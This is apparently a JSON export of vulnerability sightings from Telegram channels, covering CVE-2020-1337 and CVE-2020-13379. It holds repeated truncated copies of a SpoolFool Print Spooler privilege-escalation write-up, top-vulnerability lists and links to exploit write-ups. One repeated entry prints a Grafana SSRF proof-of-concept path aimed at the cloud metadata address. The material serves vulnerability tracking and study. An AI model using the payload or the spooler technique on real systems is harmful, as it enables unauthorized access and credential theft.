"https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8c2236b0-4fd4-4c57-a960-b3ac1ecfdc6c", "content": "", "creation_timestamp": "2026-06-30T09:23:21.422067Z"}, {"uuid": "c021063c-c78b-4dd9-b31f-2e5677121449", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "https://t.me/hacking_Attack/43066", "content": "Hacking Articles\nWindows Privilege Escalation: SpoolFool\n\nIntroductionOliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048 Summary of the VulnerabilityThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection. Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider. Spool DirectoryWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.\n\nWorkflow of the CVE 2020-1030\n\nI would highly recommend reading Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.\n\n* By default, users can add printers without administrator authentication needed.\n* Calling AddPrinter returns a printer handle (I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \n\n* However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTER right to the server on which the printer is to be created.\n* An unprivileged user will not have these rights and hence, can\u2019t add a new printer with PRINTER_ALL_ACCESS right.\n* However, the \u201cINTERACTIVE\u201d group has the manage server permissions enabled which correspond to\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjNCSl-n_[...]", "creation_timestamp": "2026-09-01T20:01:54.569936Z"}, {"uuid": "4e94d612-0eaf-46da-800b-2766d7d1d956", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "https://t.me/reverseame/431", "content": "CVE-2020-1337 \u2013 PrintDemon is dead, long live PrintDemon! https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/", "creation_timestamp": "2026-07-29T12:03:03.944350Z"}, {"uuid": "45c3dc40-cc32-4658-a415-ad5b8b9e64d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/3231", "content": "Top 10 vulnerabilities in 2020 \n\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-01T17:00:50.058139Z"}, {"uuid": "85586b97-9db1-4607-8220-290437cc79e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-01T17:00:51.422143Z"}, {"uuid": "6cfeaf14-a435-49af-ac52-decb6bdb3f67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-01T17:00:53.313164Z"}, {"uuid": "d2e6eefb-bc89-4d2f-a983-c949c6b73abe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/2540", "content": "Top 10 vulnerabilities in 2020:\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-01T17:00:59.575116Z"}, {"uuid": "2388590f-5f68-4915-a00b-9f8d7bea7d47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/1030", "content": "CVE-2020-13379:\nUnauthenticated Full-Read SSRF in Grafana 3.0.1 - 7.0.1\ud83d\ude01\nhttps://rhynorater.github.io/CVE-2020-13379-Write-Up\n\nPoC:\n/avatar/tesdt%3Fd=http://redirect.rhynorater.com%25253f%253b%http://252fbp.blogspot.com%252f169.254.169.254", "creation_timestamp": "2026-09-01T17:01:14.992452Z"}, {"uuid": "069d2e7d-7d80-46d3-8c6d-587290fbcf42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "https://t.me/hacking_Attack/43056", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: SpoolFool\n\nWindows Privilege Escalation: SpoolFoolIntroduction&lt;o:pOliver Lyak posted a writeup about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it as \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.&lt;o:p\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999&lt;o:p\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048&lt;o:p Summary of the Vulnerability&lt;o:pThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform task such as DLL injection.&lt;o:p Print Spooler Basics&lt;o:pPrint spooler is the primary printing process interface. It is a built in EXE file which is loaded at system startup itself. The workflow of a printing process is as follows:&lt;o:p https://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 Application: The print application creates a print job by calling Graphics Device Interface (GDI).&lt;o:p GDI: GDI includes both user-mode and kernel-mode components for graphics support.&lt;o:p winspool.drvis the interface that talks to spooler. It provides the RPC stubs required to accessing the server.&lt;o:p spoolsv.exeis the spooler's API server. This module implements message routing to print provider with the help of router (spoolss.dll)&lt;o:p spoolss.dlldetermines which print provider to call, based on a printer name and passes function call to the correct provider.&lt;o:p Spool Directory&lt;o:pWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.&lt;o:p\n\n&lt;o:p Workflow of the CVE 2020-1030&lt;o:pI would highly recommend reading up Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much of technicality, here is a summary of how the vulnerability shall be exploited.&lt;o:p\n\n\u00b7 By default, users can add printers without administrator authentication needed.&lt;o:p\n\n\u00b7 Calling AddPrinter returns a printer handle(I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations. &lt;o:p https://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \u00b7 However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTERright to the server on which the printer is to be created.&lt;o:p\n\n\u00b7 An unprivileged user will [...]", "creation_timestamp": "2026-09-01T20:01:54.891452Z"}, {"uuid": "322939b4-809c-4907-9cab-285a0362fce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "https://t.me/hacking_Attack/43056", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: SpoolFool\n\nWindows Privilege Escalation: SpoolFoolIntroduction&lt;o:pOliver Lyak posted a writeup about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it as \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.&lt;o:p\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999&lt;o:p\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048&lt;o:p Summary of the Vulnerability&lt;o:pThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform task such as DLL injection.&lt;o:p Print Spooler Basics&lt;o:pPrint spooler is the primary printing process interface. It is a built in EXE file which is loaded at system startup itself. The workflow of a printing process is as follows:&lt;o:p https://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 Application: The print application creates a print job by calling Graphics Device Interface (GDI).&lt;o:p GDI: GDI includes both user-mode and kernel-mode components for graphics support.&lt;o:p winspool.drvis the interface that talks to spooler. It provides the RPC stubs required to accessing the server.&lt;o:p spoolsv.exeis the spooler's API server. This module implements message routing to print provider with the help of router (spoolss.dll)&lt;o:p spoolss.dlldetermines which print provider to call, based on a printer name and passes function call to the correct provider.&lt;o:p Spool Directory&lt;o:pWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.&lt;o:p\n\n&lt;o:p Workflow of the CVE 2020-1030&lt;o:pI would highly recommend reading up Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much of technicality, here is a summary of how the vulnerability shall be exploited.&lt;o:p\n\n\u00b7 By default, users can add printers without administrator authentication needed.&lt;o:p\n\n\u00b7 Calling AddPrinter returns a printer handle(I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations. &lt;o:p https://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \u00b7 However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTERright to the server on which the printer is to be created.&lt;o:p\n\n\u00b7 An unprivileged user will [...]", "creation_timestamp": "2026-09-02T01:02:15.223348Z"}, {"uuid": "18a93e1a-932e-4b9b-89a1-09a8256eef21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "seen", "source": "https://t.me/hacking_Attack/43066", "content": "Hacking Articles\nWindows Privilege Escalation: SpoolFool\n\nIntroductionOliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048 Summary of the VulnerabilityThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection. Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider. Spool DirectoryWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.\n\nWorkflow of the CVE 2020-1030\n\nI would highly recommend reading Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.\n\n* By default, users can add printers without administrator authentication needed.\n* Calling AddPrinter returns a printer handle (I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \n\n* However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTER right to the server on which the printer is to be created.\n* An unprivileged user will not have these rights and hence, can\u2019t add a new printer with PRINTER_ALL_ACCESS right.\n* However, the \u201cINTERACTIVE\u201d group has the manage server permissions enabled which correspond to\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjNCSl-n_[...]", "creation_timestamp": "2026-09-02T01:02:14.935689Z"}, {"uuid": "ddbe8ed1-a4b2-42af-a7a0-eeb1100f5bdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/3231", "content": "Top 10 vulnerabilities in 2020 \n\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-02T01:04:38.552599Z"}, {"uuid": "078dbf29-9fee-4386-ab4d-6485fd424f73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/3093", "content": "Analytics\nTop Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-22893 Pulse SecureVPN \nRCE\n\nCVE-2021-28310 - Win32k EoP Vulnerability\n\nCVE-2021-26411 - IE mshtml UAF\n\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\n\nCVE-2021-28480/28482 - MS Exchange Server RCE\ud83d\ude01\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2026-09-02T01:04:40.812018Z"}, {"uuid": "3f055fee-5332-4a52-9d55-c90218626e8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-02T01:04:43.546023Z"}, {"uuid": "ff7d28e8-7ae7-4b45-aec4-5a94594caec3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/2540", "content": "Top 10 vulnerabilities in 2020:\n\n 1. CVE-2020-12720: vBulletin SQL Injection (OWASP 1: Injection)\n\n 2. CVE-2020-5902: F5 BIG IP RCE and LFI (OWASP 1: Injection)\n\n 3. CVE-2020-15506: MobileIron Core Authentication Bypass\n (OWASP 2: Broken Authentication)\n\n 4. CVE-2020-14882: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 5. CVE-2020-14750: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 6. CVE-2020-17530: Apache Struts 2 RCE (OWASP 1: Injection)\n\n 7. CVE-2020-2551: Oracle WebLogic RCE (OWASP 1: Injection)\n\n 8. CVE-2020-13379: Grafana SSRF\n (OWASP 3: Broken Access Control)\n\n 9. CVE-2020-1147: Microsoft SharePoint Server RCE\n (OWASP 1: Injection)\n\n 10. CVE-2020-8209: Citrix XenMobile Server Path Traversal\n (OWASP 3: Broken Access Control)", "creation_timestamp": "2026-09-02T01:04:50.380176Z"}, {"uuid": "b2542f79-271c-40a6-adfa-ec2aa0247b8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-13379", "type": "seen", "source": "https://t.me/cissp/1030", "content": "CVE-2020-13379:\nUnauthenticated Full-Read SSRF in Grafana 3.0.1 - 7.0.1\ud83d\ude01\nhttps://rhynorater.github.io/CVE-2020-13379-Write-Up\n\nPoC:\n/avatar/tesdt%3Fd=http://redirect.rhynorater.com%25253f%253b%http://252fbp.blogspot.com%252f169.254.169.254", "creation_timestamp": "2026-09-02T01:05:04.168601Z"}, {"uuid": "976fdb9c-37ef-4da9-96aa-d084462d433e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-1337", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43056", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: SpoolFool\n\nWindows Privilege Escalation: SpoolFoolIntroduction&lt;o:pOliver Lyak posted a writeup about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it as \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.&lt;o:p\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999&lt;o:p\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048&lt;o:p Summary of the Vulnerability&lt;o:pThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform task such as DLL injection.&lt;o:p Print Spooler Basics&lt;o:pPrint spooler is the primary printing process interface. It is a built in EXE file which is loaded at system startup itself. The workflow of a printing process is as follows:&lt;o:p https://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 Application: The print application creates a print job by calling Graphics Device Interface (GDI).&lt;o:p GDI: GDI includes both user-mode and kernel-mode components for graphics support.&lt;o:p winspool.drvis the interface that 